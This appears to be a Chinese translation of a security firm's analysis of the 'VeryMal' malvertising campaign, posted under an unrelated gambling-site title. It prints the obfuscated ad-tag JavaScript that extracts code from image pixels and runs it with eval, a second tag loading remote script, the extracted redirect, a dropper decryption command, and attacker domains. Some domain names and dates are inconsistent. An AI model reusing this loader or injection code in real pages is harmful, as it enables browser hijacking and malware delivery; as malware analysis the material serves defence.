摩登娱乐对隐藏在图像文件中的 JavaScript 恶意代码的详细分析_HUC惠仲娱乐

摩登娱乐

摘要

最近几个月,隐藏在图像文件中的JavaScript恶意软件的报告大量增加。在大多情况下,这通常被称为“基于图像的恶意软件”或“隐写恶意软件”。

名词:隐写术。
在其他非机密文本或数据中隐藏消息或信息的行为。

这篇文章将研究一个被恶意用户使用的基于隐写术的payload,该payload被Confiant根据其广告服务域名veryiel-malyst.com命名为VeryMal。Malwarebytes分析了恶意二进制文件。根据我们的报道范围统计,多达500万访问者可能已经受到最近的恶意软件活动的影响。

分析

完全执行payload的结果是这种熟悉的浏览器劫持:

很多关于这类攻击的传言都耸人听闻,以至于用户都相信仅仅图像文件就会对我们造成威胁,于是,人们便对日常浏览器加载的图像产生了担忧。但这与事实大相径庭。在执行这些payload的更广泛的上下文中,验证广告服务中单个图像文件的完整性是没有什么意义的。
实际上,隐写术的作用仅仅为了传递payload的一部分,需要对图像进行处理,以便提取并利用该片段。图像本身不会损害您的计算机或重定向您的浏览器。
让我们看看源码:

<canvas id='iak'></canvas> <script >     var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";     var canvas = document['getElementById']('iak');     var ctx = canvas['getContext']('2d');     var image = new Image();     image['crossOrigin'] = '';     image['src'] = 'http://s.ad-pixel.com/sscc.jpg';     var rs = '';     var isSupportFontFamily = function (c) {         if (typeof c != 'string') {             return ![];         }         var d = 'Arial';         if (c['toLowerCase']() == d['toLowerCase']()) {             return !![];         }         var e = 'a';         var f = 0x64;         var g = 0x64, h = 0x64;         var i = document['createElement']('canvas');         var j = i['getContext']('2d');         i['width'] = g;         i['height'] = h;         j['textAlign'] = 'center';         j['fillStyle'] = 'black';         j['textBaseline'] = 'middle';         var k = function (l) {             j['clearRect'](0x0, 0x0, g, h);             j['font'] = f + 'px\x20' + l + ',\x20' + d;             j['fillText'](e, g / 0x2, h / 0x2);             var m = j['getImageData'](0x0, 0x0, g, h)['data'];             return []['slice']['call'](m)['filter'](function (n) {                 return n != 0x0;             });         };         return k(d)['join']('') !== k(c)['join']('');     };     var riXs = document['getElementsByTagName']('body');     var rrxT = riXs[0x0]['style']['cssText'];     if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {         image['onload'] = function () {             ctx['drawImage'](image, 0x0, 0x0);             var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);             for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {                 rs += String['fromCharCode'](o['data'][p + 0x2]);             }             eval(rs);         };     } </script>

如果给代码加注释,应该是这样:
创建一个Canvas对象(这允许使用HTML5 Canvas API来与图像及其底层数据进行交互)。
抓取位于以下位置的图像:hxxp://s.ad-pixel.com/sscc.jpg
定义用于检查浏览器中是否支持特定字体系列的函数。
检查是否支持Apple fonts。如果不支持,什么都不做。
如果支持,则循环访问图像文件中的基础数据。每个循环读取一个像素值并将其转换为字母数字字符。
将新提取的字符添加到字符串中。
执行字符串中的代码。

笼统地说,图像利用非可执行文件格式来存储压缩数据,当浏览器或您选择的其他图像查看器加载图像文件时,它基本上会解压该文件并使用数据一次一个像素地绘制图像。上面的“恶意”图像在十六进制编辑器中如下所示:


就像图像查看器需要解压缩这些数据以呈现最终结果一样,Web开发人员可以使用JavaScript和HTML5 Canvas API对图像数据进行简单的操作。
数据操作只发生在几行代码中:


图像本身就是一个白色的小条:

隐藏的代码一旦从图像中提取出来:

top.location.href =’hxxp://veryield-malyst.com/’ + volton + ‘?var1=’ + wsw;

这是填充的参数:

hxxp://veryield-malyst.com/154c8e99-aad0–4658-b5fb-645c751ad42b?var1=10512

随着恶意广告检测的不断成熟,老练的攻击者开始了解到明显的混淆方法不再能进行有效地攻击。常见JavaScript混淆器输出的是一种乱的不能再乱的乱码,肉眼很容易识别。像隐写术这样的技术对于恶意携带payload很有用,而不再需要依赖十六进制编码的字符串或庞大的查找表。
举个栗子,“verduce-malyst”域名已经活跃了几个月,但直到最近,VeryMal才开始使用隐写术携带payload。以下是他们在11月初发布的广告标签中的一个,以供比较:

<script type='text/javascript'>  var a = 'w';  var b = 'layback';  var c = 'Target'  var d = 'vailability';  var e = 'vent';  var kk = 'c330e369ea42';  var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;  if(f in window) {   ar sc = document.createElement("script");   ar mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";   ar ctt = "s3.amazonaws.com";   c.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");   c.setAttribute("type", "text/javascript");   document.head["app" + "endC" + "hild"](sc);  } </script>

翻译成白话非常简洁:
检查Window对象中是否存在“WebKitPlaybackTargetAvailabilityEvent”(Safari定位策略)。
如果是,请执行位于以下位置的JavaScript:

hxxps://79d5e561–1a8d-48f6-abdb-495df89ec5e.s3.amazonaws.com/csqc.js

我们对那里的代码很熟悉:

top.location.href = "hxxp://veryield-malyst.com/f7e156be-fc09-4b1b-a052-d48d2aac69fc?var1=" + kk

恶意活动的历史

自去年8月份以来,VeryMal一直在利用veryield-malyst域作为他们的重定向器——这一个值得我们关注,因为它利用了隐写术来进行客户端混淆。
该活动于2019年11月1日至2019年1月13日在两家顶级交易所展开,这两家交易所占前100家出版商网站的25%。
在我们的客户中,Confiant检测到并阻止了191,970次攻击,只有美国访客成为攻击目标。


VeryMal在12月份也有几次攻击活动

方法

VeryMal利用HTTP 302重定向通过他们的veryfield-malyst.com域名到adpiano.com--一个鲜为人知的平台,这个网站与塞浦路斯有着某种联系。
Adpiane充当这些行为和其他恶意行为的点击跟踪器,包括但不限于:

- morningflashsee.club - bestadbid.com - newadvancetypeliteflash.services - doconcretegreatliteflash.icu - firstfetchflash.club - windowinstalldealaflash.icu - upgradebestfinishtheclicks.icu - booe.pro - freecalculation.com


强制重定向并不是这些攻击者的唯一攻击载体,因为他们被观察到公然以Flash更新和PC修复软件为幌子为他们的恶意软件安装程序运行显示广告。十二月份攻击活动的恶意广告:


最近的VeryMal广告系列利用重定向链中的以下(仍处于活动状态)点击跟踪器来删除伪造的Flash更新:

hxxps://cs.adpiano.com/kokodzbambo/aaoaeeea/?utm_source=1236&utm_campaign=1616984&aff_sub=w3SGFK32C602JCMJHKLPR5FC&clck=w3SGFK32C602JCMJHKLPR5FC&sid=w3SGFK32C602JCMJHKLPR5FC

此广告系列的目标网页会轮流展示各种.icu域名的主题,如下所示:

mixmaintenancegreatliteflash.icu  mediafreshgreatliteflash.icu

由于广告系列本身针对的是特定平台和消息传递,因此目前尚不清楚它们的轮换次数或旋转次数。此报告的内容是通过Mac OS上的Google Chrome收集的。
我们已经观察到所有登陆页面都强制下载名为AdobeFlashPlayerInstaller.iso的文件
Virus Total:

https://www.virustotal.com/#/file/75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f/detection

来自MalwareBytes的AdamThomas(@adamt5Six)非常热心地提供了对二进制文件的进一步分析,如下所示。谢谢亚当!

样本名称:AdobeFlashPlayerInstaller.iso
SHA-256:75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
文件类型:Macintosh磁盘镜像
数字签名:2J5Q8FU8C6(Apple Team ID)


与应用程序包中包含的普通mach-o(mac二进制)不同,我们在这里找到了一个shell脚本。该脚本解密应用程序资源目录中包含的AES-256加密文件:

首先,我们必须从文件中去除Base64编码:

$ openssl enc -d -aes-256-cbc -nosalt -pass pass:5683436752 -in enc.out -out enc.out.bin

去除编码并使用openssl解密后,我们看到一个可读的脚本:


该脚本的工作原理是去除Base64编码的另一层,使我们得到十六进制格式的字符串:

然后,脚本将十六进制转换为ASCII格式,显示另一个脚本和第一阶段下载程序的最后一层。下载并执行受密码保护的ZIP文件:


在payload执行之后,还会出现对脚本的其他请求,这些请求被认为有助于呈现广告软件投放器的安装屏幕。可能它们还可以自动点击广告软件安装程序。
通过对基于Windows的恶意软件的分析,MalwareBytes还能够提供一些额外的可见性,以了解这攻击者MO的内部工作原理。初始.icu域执行302重定向到以www2开头的另一个.icu。
攻击者基础架构主要由.icu域构成,这些域由数十个域创建并在AWS IP空间中移动。URL是使用特定参数生成的,通常使用非常短的TTL。

whenupgrade.yourbestsiteforlinksitenew.xyz  workingversion.theperfectupdate4everyone.xyz  www.checkdealgoldliteflash.icu  www.fasterdltypeliteflash.icu  www.fixmaintainbestaflash.icu  www.makebestmaintainaflash.icu  www.midgreatdlliteflash.icu  www.mixmaintainbestaflash.icu  www.savegolddealliteflash.icu  www.smallbestappleliteflash.services  www.topfuturetypeaflash.icu  www.upgradedltypeliteflash.icu

Windows Installer VirusTotal:

https://www.virustotal.com/#/file/6efb37adef3ae68cc3d7cc0512ae82eab4a39b1880e00412ce50f5c423eba00d/detection

结论

根据Confiant观察到,高峰期内,此特定攻击的每天超过500w次。这500万种恶意攻击对收入的影响需要从许多不同方面加以衡量。出版商直接从中断的用户会话中损失金钱,并从增加的广告拦截使用和用户信任损失中损失未来的金钱。
有些广告交易平台在与感染作斗争时切断了广告资源,并且会让一些发布商永久性地撤消库存。广告客户将受到受感染设备产生的广告欺诈的打击。让我们不要忽视现在拥有受感染设备的用户。据估计,仅1月11日这个峰值的成本影响就已经超过120万美元。当你考虑到这只是过去一个月来Contant发现并阻止的数百起攻击中的一起,数字广告业面临的问题的规模就变得更清晰了。

翻译文章:https://blog.confiant.com/confiant-malwarebytes-uncover-steganography-based-ad-payload-that-drops-shlayer-trojan-on-mac-cd31e885c202